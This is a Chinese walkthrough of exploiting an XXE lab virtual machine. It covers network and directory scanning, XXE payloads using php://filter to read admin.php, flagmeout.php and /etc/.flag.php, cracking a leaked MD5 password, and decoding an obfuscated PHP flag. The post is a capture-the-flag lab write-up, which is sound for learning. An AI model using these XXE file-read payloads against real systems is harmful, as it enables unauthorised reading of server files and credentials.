当前位置: 首页 > news >正文

XXE靶机漏洞复现通关

1.扫描XXE靶机的ip地址

将kali虚拟机和XXE靶机部署在同一局域网中,都采用NAT网络模式

搭建好后在kali终端中进行扫描XXE靶机的ip

arp-scan -l

根据常识我们可以推断192.168.27.153为靶机的ip地址

2.访问靶机页面并扫描附录

进入页面后我们可以打开御剑扫描网页中是否存在其他的目录

扫描得知页面中存在robots.txt和index.html两个页面,我们依次访问

index.html就是我们刚才访问的主页面

robots.txt文件下存在xxe目录以及admin.php文件,依次访问

访问xxe我们到了登录界面,admin.php无法正常访问

3.尝试登录

这里我们输入账号密码进行登录,查看回显信息

我们无法登录,可以采用bp抓包

抓包后我们发现页面存在xml请求,这时我们可以构造语句查询admin.php文件中的内容

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
&xxe;

发送后我们得到如下加密信息,解密后我们可以得到如下数据

<?phpsession_start();
?><html lang = "en"><head><title>admin</title><link href = "css/bootstrap.min.css" rel = "stylesheet"><style>body {padding-top: 40px;padding-bottom: 40px;background-color: #ADABAB;}.form-signin {max-width: 330px;padding: 15px;margin: 0 auto;color: #017572;}.form-signin .form-signin-heading,.form-signin .checkbox {margin-bottom: 10px;}.form-signin .checkbox {font-weight: normal;}.form-signin .form-control {position: relative;height: auto;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;padding: 10px;font-size: 16px;}.form-signin .form-control:focus {z-index: 2;}.form-signin input[type="email"] {margin-bottom: -1px;border-bottom-right-radius: 0;border-bottom-left-radius: 0;border-color:#017572;}.form-signin input[type="password"] {margin-bottom: 10px;border-top-left-radius: 0;border-top-right-radius: 0;border-color:#017572;}h2{text-align: center;color: #017572;}</style></head><body><h2>Enter Username and Password</h2> <div class = "container form-signin"><?php$msg = '';if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {$_SESSION['valid'] = true;$_SESSION['timeout'] = time();$_SESSION['username'] = 'administhebest';echo "You have entered valid use name and password <br />";$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";echo $flag;}else {$msg = 'Maybe Later';}}?></div> <!-- W00t/W00t --><div class = "container"><form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"><h4 class = "form-signin-heading"><?php echo $msg; ?></h4><input type = "text" class = "form-control" name = "username" required autofocus></br><input type = "password" class = "form-control"name = "password" required><button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button></form>Click here to clean <a href = "adminlog.php" tite = "Logout">Session.</div> </body>
</html>

分析代码,我们发现

文件中存在账号密码,密码为md5加密,我们进行md5解密并登录后台

登录后台

账号密码错误,我们尝试扫描xxe目录下是否还有其他页面

访问xxe/admin.php

这里我们尝试登录

登录成功

4.获取flag

我们点击flag发现报错信息给我们返回了一个新的文件,我们尝试获取文件数据

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>

将我们得到的信息进行解密

<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>

我们可以看到文件中还有一个由base32加密的数据

我们进行解密

解密后得到由base64加密的数据,我们继续解密

解码后获得新的文件,我们获取文件的数据

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>

这里我们继续解密

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);

这里解密后我们得到一段乱码,判断其应该是php代码,我们将其插入到本机网站的php中进行访问

访问后我们成功获得了flag!

http://www.lryc.cn/news/506163.html

相关文章:

  • XS9922B 同轴RX芯片 四通道 多合一模拟高清解码器
  • 如何在谷歌浏览器中设置电子邮件通知
  • 利用Java获取淘宝商品详情API接口的深入指南引言
  • 3D工具显微镜的测量范围
  • WPF DataTemplate 数据模板
  • 知道一个服务器IP地址,如何attack对方美国
  • lettuce 默认情况下连接池参数不生效,源码分析
  • 《宇宙机器人》提示错误弹窗“找不到d3dx9_43.dll”是什么原因?“d3dx9_43.dll缺失”怎么解决?
  • 应用于项目的 C++单例基类的设计、实现与应用
  • Mongodb 启用认证
  • QT:vlc出错处理及重新播放
  • 密钥管理系统在数据安全解决方案中的重要性
  • Docker的容器编排
  • Java Web项目部署教程简单实用
  • 推送本地仓库到远程git仓库
  • 线性池学习
  • 微积分复习笔记 Calculus Volume 2 - 4.3 Separable Equations
  • 前端项目部署方法
  • Docker创建一个mongodb实例,并用springboot连接 mongodb进行读写文件
  • Android app反编译 攻与防
  • ElasticSearch 简介
  • Kerberos实验
  • Android之RecyclerView显示数据列表和网格
  • docker mysql挂载
  • 顺序表-递增有序表合并
  • 【Qt】qt安装
  • CXF WebService SpringBoot 添加拦截器,处理响应报文格式
  • vue iframe进行父子页面通信并切换URL
  • 基于Spring Boot的摄影师分享交流社区
  • Web 毕设篇-适合小白、初级入门练手的 Spring Boot Web 毕业设计项目:电影院后台管理系统(前后端源码 + 数据库 sql 脚本)